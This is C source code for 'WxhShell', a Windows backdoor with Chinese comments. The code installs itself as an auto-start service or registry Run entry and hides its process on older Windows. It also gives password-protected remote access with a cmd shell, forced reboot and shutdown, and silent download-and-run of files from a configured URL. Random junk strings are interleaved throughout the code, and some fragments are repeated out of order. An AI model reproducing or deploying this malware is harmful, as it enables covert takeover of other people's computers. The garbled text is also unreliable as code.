~@'wqGTp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +xYu@r%R ?}?"m:= HANDLE hProcess; [%K6-\S PROCESS_BASIC_INFORMATION pbi; _[6sr7H! SJiQg-+<Uf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h.Qk{v if(NULL == hInst ) return 0; }b2YX+/e$f .n7@$kq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q:P)g#suc g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %6Gg&Y$j! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kK75 (x }d.X2? if (!NtQueryInformationProcess) return 0; YoKE=ln7 i9ySD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B#g~c<4< if(!hProcess) return 0; 0qN`-0Yk _mm(W=KiL if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yY8zTWji_ 'Ix@<$~i3F CloseHandle(hProcess); #zsaQg,
B nD5wN~[J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @r GY9%E if(hProcess==NULL) return 0; &2W"4SE]6 v< P0f"GH HMODULE hMod; ta?NO{* char procName[255]; `4K|L6 unsigned long cbNeeded; F~Dof({: GQ1/pys if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t'2A)S BH'*I
yv CloseHandle(hProcess); ~v8X>XDL?T xL15uWk- if(strstr(procName,"services")) return 1; // 以服务启动 *O[/KR% Z
)c\B return 0; // 注册表启动 |^1g*fy? } gXI-{R7Me cX9o'e:C // 主模块 WaB0?jI int StartWxhshell(LPSTR lpCmdLine) r)gK5Mv { y,:WLk~ SOCKET wsl; HGYTh"R BOOL val=TRUE; +2iD9X{$MX int port=0; 1{N+B#*<[X struct sockaddr_in door; .2%t3ul[ =AO
( if(wscfg.ws_autoins) Install(); ]njNSn mh8fJ6j29N port=atoi(lpCmdLine); u[**,.Ecg TU6s~ if(port<=0) port=wscfg.ws_port; >5t!
Xt eWFkUjz WSADATA data; XR ..DVab if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4`8s]X M0$MK> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4 bk`i*-O setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [RXLR# door.sin_family = AF_INET; Fv]6an. door.sin_addr.s_addr = inet_addr("127.0.0.1"); uzHMQp door.sin_port = htons(port); azZtuDfv O84:ejro if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (GF}c\=T7 closesocket(wsl); ''auu4vF return 1; K/zb6=-> } zr!7*,
p OB.rETg if(listen(wsl,2) == INVALID_SOCKET) { yBy7d!@2 closesocket(wsl); tU?BR<q return 1; U,!qNi} } ]EHsRd Wxhshell(wsl); ?7fqWlB WSACleanup(); 4~Qnhv7 y#a,d||N1 return 0; n#6{K6}k~ PE5*]+lW. } .F,l>wUNe zg ,=A? // 以NT服务方式启动 "SN*hzs"]` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <r,5F: { +.~K=.O) DWORD status = 0; 6CFnE7TQf DWORD specificError = 0xfffffff; nFJW\B&(` 2,:{ 5]Q$ serviceStatus.dwServiceType = SERVICE_WIN32; BI%^7\HZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; A8tJ&O
rwY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e.vt"eRB serviceStatus.dwWin32ExitCode = 0; Fj`k3~tUw serviceStatus.dwServiceSpecificExitCode = 0; n{N0S^h serviceStatus.dwCheckPoint = 0; 7RDmvWd-'? serviceStatus.dwWaitHint = 0; XMS:F]HN no8\Oees hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "_&ZRcd* if (hServiceStatusHandle==0) return; Y$>NsgQn6 <-.@,HQ+ status = GetLastError(); sl-wNIQ if (status!=NO_ERROR) ]r#b:W\ { D9TjjA|zS serviceStatus.dwCurrentState = SERVICE_STOPPED; Ja~8ZrcY serviceStatus.dwCheckPoint = 0; ;=n}61 serviceStatus.dwWaitHint = 0; pyV`O[ serviceStatus.dwWin32ExitCode = status; #M~yt`R~ serviceStatus.dwServiceSpecificExitCode = specificError; +\ftSm> SetServiceStatus(hServiceStatusHandle, &serviceStatus); s=:)!M.i return; 6hj[/O)E } Y-bTKSn +ZbNSN= serviceStatus.dwCurrentState = SERVICE_RUNNING; VLV]e_D6s serviceStatus.dwCheckPoint = 0; y7/4u-_c serviceStatus.dwWaitHint = 0; JOG-i if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4L,wBce;,t } - BWf. )Wle
CS_ // 处理NT服务事件,比如:启动、停止 qRaPh:Q' VOID WINAPI NTServiceHandler(DWORD fdwControl) kxKb}>= { 2FZT switch(fdwControl) S!PG7hK2 { v@]SddP,? case SERVICE_CONTROL_STOP: Z-lhJ<0/Pa serviceStatus.dwWin32ExitCode = 0; r^6@Zwox] serviceStatus.dwCurrentState = SERVICE_STOPPED; ?#GTD?3d serviceStatus.dwCheckPoint = 0; Y:/p0o serviceStatus.dwWaitHint = 0; =COQv= GT { qv(3qY SetServiceStatus(hServiceStatusHandle, &serviceStatus); d-b<_k{p } :@)R@. - return; 2 T} >9X case SERVICE_CONTROL_PAUSE: <lR:^M[v5< serviceStatus.dwCurrentState = SERVICE_PAUSED;
s7n7u7$j break; CKHmJ]= case SERVICE_CONTROL_CONTINUE: ' Z#_"s#L serviceStatus.dwCurrentState = SERVICE_RUNNING; ~~|Iw=: break; T%oJmp?0 case SERVICE_CONTROL_INTERROGATE: -ysNo4#e& break; H
~3.F }; `D|])^"{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Kg!aN } cz,CL/rno mxZ+r#|di // 标准应用程序主函数 {96MfhkeBv int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :[+8(~| za { !U:&8Le D}
B?~Lls // 获取操作系统版本 ~ Rk.x
+ OsIsNt=GetOsVer(); sCw>J#@2> GetModuleFileName(NULL,ExeFile,MAX_PATH); UF^[?M = 6O,k! y> // 从命令行安装 w0;4O)H$O if(strpbrk(lpCmdLine,"iI")) Install(); 7[P-;8)tq N
{{MMIq // 下载执行文件 0^tY|(b3/M if(wscfg.ws_downexe) { ##BbR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DN)o|p WinExec(wscfg.ws_filenam,SW_HIDE); Xg]Cq"RJC } Rd7U5MBEF lx4pTw1 if(!OsIsNt) { q#AIN`H
// 如果时win9x,隐藏进程并且设置为注册表启动 9]Ue%%vM HideProc(); h STcL:b
StartWxhshell(lpCmdLine); ;o'r@4^&$R } CyLwCS{V\ else d+G%\qpzQ if(StartFromService()) @:RoY vk$ // 以服务方式启动 E9mu:T StartServiceCtrlDispatcher(DispatchTable); h2x9LPLBxT else .s>@@m- // 普通方式启动 K"VcPDK StartWxhshell(lpCmdLine); 5?HwM[` N@tKgx return 0; }wRm ~ } @gbW: IV!`~\@ Wcc4/:`Hu [uGsF0#e =========================================== D'u7"^= l0^cdl- ,v mn{gz LDEc}XXb ~b*]jZwT /0qbRk i " p~3x=X4 0ZwXuq #include <stdio.h> k
L6s49 #include <string.h> , @UOj= #include <windows.h>
+kd1q #include <winsock2.h> I;"pPJ3G #include <winsvc.h> Nc(CGl: #include <urlmon.h> mST8+R@S C{m%]jKH #pragma comment (lib, "Ws2_32.lib") [u!n=ev #pragma comment (lib, "urlmon.lib") ?2#'>B Cp/f18zO #define MAX_USER 100 // 最大客户端连接数 2?
yo #define BUF_SOCK 200 // sock buffer Z@dVK`nD #define KEY_BUFF 255 // 输入 buffer wH!$TAZ:Yw j24 3oD #define REBOOT 0 // 重启 mrRid}2 #define SHUTDOWN 1 // 关机 66F?exr 5b/ ~]v #define DEF_PORT 5000 // 监听端口 -t S\ :,JjN& #define REG_LEN 16 // 注册表键长度 ]i(/T$?~ #define SVC_LEN 80 // NT服务名长度 tnnGM,"ol vTx>z\7q, // 从dll定义API SWx: -< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nl
'MWP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v.<mrI#? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hT 1JEu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'I/_vqp@ [5~mP`He // wxhshell配置信息 ";=!PL struct WSCFG { DqQp47kp int ws_port; // 监听端口 _rB,N#{2R= char ws_passstr[REG_LEN]; // 口令 -->0e{y int ws_autoins; // 安装标记, 1=yes 0=no CnL=s6XD' char ws_regname[REG_LEN]; // 注册表键名 PlH~um[J char ws_svcname[REG_LEN]; // 服务名 -!_8>r;Q4 char ws_svcdisp[SVC_LEN]; // 服务显示名 w -o#=R_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 'o}[9ZBjn char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \\\8{jq int ws_downexe; // 下载执行标记, 1=yes 0=no g|]HS4y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \AroSy9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y(QFf*J ;x\oY6: }; :Q"|%#P R6(:l;
W // default Wxhshell configuration l~;>KjZg struct WSCFG wscfg={DEF_PORT, 1b1Ab
zN "xuhuanlingzhe", =W3
K6w 1, ~C%I'z' "Wxhshell", :1UMA@HP "Wxhshell", =w+8q1!o "WxhShell Service", 7?R600OA "Wrsky Windows CmdShell Service", kd^H}k "Please Input Your Password: ", ?MRY*[$ 1, 70 7( LG "http://www.wrsky.com/wxhshell.exe", TC/c5:)] "Wxhshell.exe" Oh$:qu7o0& }; D`WRy}o |~BnE
// 消息定义模块 PX|@D_%Y= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @p*)^D6E\ char *msg_ws_prompt="\n\r? for help\n\r#>"; u5A?; a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;9k>;g3m char *msg_ws_ext="\n\rExit."; 9(TGkz(NA char *msg_ws_end="\n\rQuit."; IANSpWea? char *msg_ws_boot="\n\rReboot..."; o0 C&ol_ char *msg_ws_poff="\n\rShutdown..."; eo9/ char *msg_ws_down="\n\rSave to "; ~I5hV}ZT ~)ys,Q char *msg_ws_err="\n\rErr!"; m@Yc&M~ char *msg_ws_ok="\n\rOK!"; &kIeW;X VGQ~~U7}@ char ExeFile[MAX_PATH]; @Iz]:@\cJ int nUser = 0; uTR^K=Ve HANDLE handles[MAX_USER]; 95mf int OsIsNt; j-ej7 ac l<dY6 SERVICE_STATUS serviceStatus; DD$>3` SERVICE_STATUS_HANDLE hServiceStatusHandle; W\kli';jyC G@H!D[wd // 函数声明 "9s_[e int Install(void); V_SH90@)+ int Uninstall(void); f zo'9 int DownloadFile(char *sURL, SOCKET wsh); h )
Wp int Boot(int flag); =Hd yra void HideProc(void); n6%` int GetOsVer(void); uAPVR int Wxhshell(SOCKET wsl); J |q(HpB void TalkWithClient(void *cs); #; ?3kuq( int CmdShell(SOCKET sock); xrkl)7; int StartFromService(void); B}d&tH2^s int StartWxhshell(LPSTR lpCmdLine); }'x;J Kn~Rck|
] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zl5'%b$& VOID WINAPI NTServiceHandler( DWORD fdwControl ); @zg}x0] )JS6W // 数据结构和表定义 Tsg9,/vXM SERVICE_TABLE_ENTRY DispatchTable[] = )SmnLvL { ^OY]Y+S`Ox {wscfg.ws_svcname, NTServiceMain}, LQR2T5S/Q, {NULL, NULL} 4qie&:4j }; F]3Y,{/V s7Agr!>f // 自我安装
BNK]Os int Install(void) nzflUR{`- { h+g\tYWGP char svExeFile[MAX_PATH]; #Lhv=0op HKEY key; G|g^yaq> strcpy(svExeFile,ExeFile); nQc#AFg
@yuiNj.T // 如果是win9x系统,修改注册表设为自启动 bT.q@oU if(!OsIsNt) { "Q.* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R_PF*q2 ' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Kg'&B ( RegCloseKey(key); @oA z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SB\%"nnV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vamZKm~p RegCloseKey(key); ~gfR1SE return 0; Q7865 } <>3)S`C`p } glMHT, } |u&cN-}C d else { P"w\hF (9'^T.J // 如果是NT以上系统,安装为系统服务 7{|QkTg C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tz]R}DKB& if (schSCManager!=0) P3_.U8g$r { CFaY= Cy SC_HANDLE schService = CreateService OBWWcL- ( @RoZd? schSCManager, ^LMgOA(7 wscfg.ws_svcname, /5ZX6YkeH wscfg.ws_svcdisp, USBQEt SERVICE_ALL_ACCESS, L!fTYX#K] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ote,`h SERVICE_AUTO_START, Wgwd?@uK SERVICE_ERROR_NORMAL, jo`ZuN{ svExeFile, _VrY7Mz:r NULL, PXb$]HV NULL,
g@`i7qN NULL, c5YPV"X NULL, Q7s@,c!m_ NULL W7>2&$ ); +<7Oj s>o if (schService!=0) >d/H4;8 { MYAt4cHc2 CloseServiceHandle(schService); OR<+y~Rv CloseServiceHandle(schSCManager); (@1:1K( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6CY&pbR strcat(svExeFile,wscfg.ws_svcname); k +-w% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _[2@2q0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S&-K!XyJ RegCloseKey(key); x;/LOa{LR return 0; #4^d#Gj } B
71/nt9 } @]@|H?
CloseServiceHandle(schSCManager); A l U^,X } iod%YjZu } JWn26, fvkcJwkc return 1; Mbi]EZ } ?%,NOX *G19fJ[5 // 自我卸载 =S&`~+ int Uninstall(void) 6\4-I^=B { \|;\ HKEY key; r\Nfq(w CXlbtpK2k if(!OsIsNt) { qkb'@f= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EApKN@<" RegDeleteValue(key,wscfg.ws_regname); Z>rY9VvWD RegCloseKey(key); nr!N%Hi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g52a
vG RegDeleteValue(key,wscfg.ws_regname); ^#/FkEt7bp RegCloseKey(key); % MHb return 0; U&5*>fd= } #.Rn6|V/4 } XjX } /)P}[Q4 else { AYts
&+ isQ(O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'YL[s if (schSCManager!=0) FwCb$yE#M { *3GV9'-P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (f# (B2j if (schService!=0) =*mT{q@ { Jup)m/ if(DeleteService(schService)!=0) { =6%oW2E\ CloseServiceHandle(schService); 22\!Z2@T/ CloseServiceHandle(schSCManager); R@vcS=m7 return 0; kBu{ bxL } oaoTd$/5 CloseServiceHandle(schService); /R)wM#& } Tg\bpLk0= CloseServiceHandle(schSCManager); YDt+1Kw}D } y>^a~}Zq } G95,J/w 0I&k_7_ return 1; ^t;z;.g } ks'>?Dw W'lqNOX[v // 从指定url下载文件 * QgKo$IF int DownloadFile(char *sURL, SOCKET wsh) yK~=6^M { CD|[PkjW HRESULT hr; "LMj,qZ1! char seps[]= "/"; T<AT&4 char *token; 4fEDg{T char *file; }cKB)N
BJb char myURL[MAX_PATH]; [|}IS@ char myFILE[MAX_PATH]; qNp1<QO0 JfY*#({y strcpy(myURL,sURL); ZCiCZ)oc token=strtok(myURL,seps); \8`?ir
q" while(token!=NULL) <xOv8IQ| { wQkM:=t5 file=token; +.G"ool token=strtok(NULL,seps); s{hKl0ds } UO/sv2CN :+rGBkw1m GetCurrentDirectory(MAX_PATH,myFILE); 7s9h:/Lu strcat(myFILE, "\\"); wj|Zn+{"nF strcat(myFILE, file); Vz{+3vfra6 send(wsh,myFILE,strlen(myFILE),0); PnlI {d send(wsh,"...",3,0); d=!:UB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cy/&KWLenf if(hr==S_OK) U|(+-R8Z return 0; d0cL9&~qW else }aCa2% return 1; #YUaM<O 1<@SMcj> } M `xiC gv#\}/->4 // 系统电源模块 Y+gY" int Boot(int flag) 3a/n/_D { Y.tx$% HANDLE hToken; 4w4B\Na>l TOKEN_PRIVILEGES tkp; YO6BzS/~ VJh8`PVX if(OsIsNt) { SC{m@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1J@Iekat LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vqf$(" tkp.PrivilegeCount = 1; <Au2e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iCt.rr~;V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZzT=m*tQ& if(flag==REBOOT) { s='+[*&& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !xM5
A[f return 0; KWTV!Wxb=K } 5=dL` else { B@,9Cx564 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {|;a?]? return 0; x-^6U } zmMc*| } /r}L_wI else { q2GW3t if(flag==REBOOT) { ITu19WG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YFKE>+ return 0; G)3I+uxn } }x8!{Y#cF else { 1+o]+Jz| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3>,}N9P-v return 0; !<bwg } jvT'N@ } _KT!OYH hbjAxioA return 1; 5pO|^Gj1 } X1L@
G ,Z.sGv // win9x进程隐藏模块 Rx%S<i;9 void HideProc(void) ^5mc$~1` { L9x-90'q, ngY%T5- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n,la<N] if ( hKernel != NULL ) Bq0 \T
0, { /--p#G h' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t6+m` Kq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gk ]QR. FreeLibrary(hKernel); \-<BUG]= } c:[k+_Zr ?J[3_!"t return; "fFSZ@,r } {(73*-~$ ]B8
A // 获取操作系统版本 0.aXg " int GetOsVer(void) ]rcF/uQJ<n { '\Xkvi OSVERSIONINFO winfo; R>'
%}|v/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _ k-_&PR GetVersionEx(&winfo); "kg`TJf= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ``o]i{x return 1; Z`Yt~{,Q else K^-1M? return 0;
">A<%5F2 } 5&Oc`5QD
4aayMS!# // 客户端句柄模块 rk=D5E7 int Wxhshell(SOCKET wsl) ^xo<$zn { }r}*=;Ea SOCKET wsh; 5/H,UL struct sockaddr_in client; 7y=>Wa ?T[ DWORD myID; jU,Xlgz(A 3? {AGJ1 while(nUser<MAX_USER) lU
WXXuO] { 7Z-j'pq int nSize=sizeof(client); Z%T Ajm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SnCwoxK if(wsh==INVALID_SOCKET) return 1; :=QX ^* qHtQ4_Zn; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R!nf^*~ if(handles[nUser]==0) 1/_g36\l$ closesocket(wsh); t0)1;aBZ else {>&~kM@ nUser++; [m~J6WB } .6?"<zdPU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); igO>)XbsM MDMd$]CW return 0; "gJ?LojB < } lH-VqkR\ )m%uSSx# // 关闭 socket %1z;l. c void CloseIt(SOCKET wsh) 'o$j~Mr { Z:4/lx7Bq closesocket(wsh); ,GbmL8P7Y nUser--; b UG,~\Z ExitThread(0); 0RR |!zEu } m_NX[>&Y3 `FHudSK // 客户端请求句柄 .?>Cav9: void TalkWithClient(void *cs) ldv@C6+J { <O#&D|EMd| ^BsT>VSH6 SOCKET wsh=(SOCKET)cs; *dBy<dIy char pwd[SVC_LEN]; 3bEcKA_z( char cmd[KEY_BUFF]; d\z6Ob"t char chr[1]; =j7Du[?Vu int i,j; dab]>% M -YoL.`s1 while (nUser < MAX_USER) { w,{h9f 6jE.X if(wscfg.ws_passstr) { &OR(]Wt0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N['DqS = //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43=v2P0=Tj //ZeroMemory(pwd,KEY_BUFF); !pU$'1D i=0; fI.|QD*$b while(i<SVC_LEN) { bWPsfUn# z4u.bU // 设置超时 ]HKt7 %, fd_set FdRead; jP@ @<dt struct timeval TimeOut; {QG.> lB FD_ZERO(&FdRead); a`O'ZY FD_SET(wsh,&FdRead); o|$D|E TimeOut.tv_sec=8; Q3@ zUjq_Q TimeOut.tv_usec=0; -FeXG#{) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <z Gh}.6v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R >x d*A *PmZqe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fRp] pwd=chr[0]; *&U~Io"U if(chr[0]==0xd || chr[0]==0xa) { *>fr'jj1$ pwd=0; *^>"
h@J break; +VwQ=[y] } hgU;7R,?ir i++;
]jT}]9Q$ } 6<&~R3dQ c3]t"TA, // 如果是非法用户,关闭 socket "t|)Kl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IZVP- } Z|$# HoI6(t send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O&!R7T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &raqrY|V 3%vXB=>T! while(1) { |Xt G9A> xAmtm" ZeroMemory(cmd,KEY_BUFF); X [Y0r |}zWH=6 // 自动支持客户端 telnet标准 %m&6'Rpfk j=0; {C |R@S while(j<KEY_BUFF) { v,4{:y]p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +C~h( cmd[j]=chr[0]; >Kgw2,y+ if(chr[0]==0xa || chr[0]==0xd) { zs$r>rlO cmd[j]=0; $6"sR I6u break; 9A|A@E# } 7QO/; zL j++; qqDg2,Yb } }[+uHR6L Gxr\a2Z&r% // 下载文件 +pd,gG?dW if(strstr(cmd,"http://")) { zt.kNb send(wsh,msg_ws_down,strlen(msg_ws_down),0); <4r8H-(% if(DownloadFile(cmd,wsh)) ZTmy} @l send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xhe& "rM else Emlj,c<?j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)m:u : } )uqzu%T else { sXVl4!=l6 \Vc[/Qp7Bb switch(cmd[0]) { aZ@pfWwa:
Pps$=` // 帮助 "i&)+dr- case '?': { 0 C4eer+D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i/:L^SQAq break; R"ON5,E } G,C`+1$* // 安装 *6I$N>1 case 'i': { d4o
^+\ if(Install()) (MGgr send(wsh,msg_ws_err,strlen(msg_ws_err),0); J[lC$X[ else Hq.rG-,p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eV7;#w<] break; ?
AfThJc } a4:GGzt // 卸载 0ix(1`Z case 'r': { n;Bb/Z!~ if(Uninstall()) tN#C.M7.'7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?qRZB+W# else 1UP
{j`-K| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6_mi9_w break; h<9vm[ . } 7FH(C`uKi // 显示 wxhshell 所在路径 n#!c!EfG case 'p': { }s,NM%oI char svExeFile[MAX_PATH]; 8}n<3_ strcpy(svExeFile,"\n\r"); 0zW*JJxV strcat(svExeFile,ExeFile); -YNpHd/;, send(wsh,svExeFile,strlen(svExeFile),0); BTAbDyH5 break; k>&cHCS`* } =.`\V] // 重启 7@@g|l] case 'b': { gvP-doA7W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N~/'EaO if(Boot(REBOOT)) z;JV3)E send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]qP:h. else { =l(euBb closesocket(wsh); v3"6'.f;bY ExitThread(0); ^ZMbJe%L } rrL.Y&DTK break; [,Ehu<mEK } LR=Ji7 // 关机 $RDlM case 'd': { IuY9Q8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); etX@z'H if(Boot(SHUTDOWN)) /8;m.J>bf send(wsh,msg_ws_err,strlen(msg_ws_err),0); /&Q{B f else { AJyNlQ closesocket(wsh); |z)s9B;:#i ExitThread(0); /3s&??{tv } T0 K!Msz break; 2^[dy>[y0 } tz;3 // 获取shell 1ksFxpE case 's': { UZ<K'H,q CmdShell(wsh);
;JxL>K( closesocket(wsh); q,Gymh; ExitThread(0); puPI^6y% break; 97liSd } dWz?`B{' // 退出 `W86]ut[ case 'x': { m>=DJ{KQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1L,L/sOwB& CloseIt(wsh); $0$sM/ % break; NP;W=A F } 0AHQ(+Ap // 离开 tV!?Ol case 'q': { t:2DB) send(wsh,msg_ws_end,strlen(msg_ws_end),0); .B]l@E-u closesocket(wsh); "t^v;?4 WSACleanup(); ,X4b~) exit(1); "Not /8J break; nI6gd%C } #@FA=p[% } M50I.Rd } ?/YAB Y}L cWAw-E5 // 提示信息 &nIu^,. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F85_Lz4 } '=0}2sF> } C8K2F5c5 Z3]I^i
FI return; ;VE y{%nF } m*m),mZ" -,bnj^L // shell模块句柄 uw \@~ ,d int CmdShell(SOCKET sock) %u!=<yn' { xr'1CP STARTUPINFO si; [6a-d>e{ ZeroMemory(&si,sizeof(si)); l!*_[r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +gd5& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t"$~o:U&) PROCESS_INFORMATION ProcessInfo; 3en9TB char cmdline[]="cmd"; mG
S4W; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z>W:+W"o return 0; coAXYn } Uxjc&o -leX|U}k // 自身启动模式 f3O6&1D int StartFromService(void) oz&`3` { 6:5K?Yo typedef struct )R7Sh51P { zamMlmls^ DWORD ExitStatus; h'"m,(a
DWORD PebBaseAddress; Na91K4r# DWORD AffinityMask; `#$}P;W DWORD BasePriority;
7IxeSxXH ULONG UniqueProcessId; "0HUaU,e ULONG InheritedFromUniqueProcessId; L('1NN2 } PROCESS_BASIC_INFORMATION; $e+sqgU 7I;kh`H$(f PROCNTQSIP NtQueryInformationProcess; 8n3]AOc'~- uo`R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iTHwH{! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x)C} j*>J1M3E HANDLE hProcess; [1rQ'FBB^1 PROCESS_BASIC_INFORMATION pbi; =muQ7l:( "'CvB0> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z>PVv)X if(NULL == hInst ) return 0; =\6)B{#T @bg9
}Z%\h g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F;Q,cg M g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _r-LX" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w*`:v$ ?I?G+(bq if (!NtQueryInformationProcess) return 0; pX%:XpC!h n%3!)/$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | In{5Ek if(!hProcess) return 0; l\Ozy egu{}5 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OD)X7PU TipH} CloseHandle(hProcess); X9| Z?jJ `bQ_eRw} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 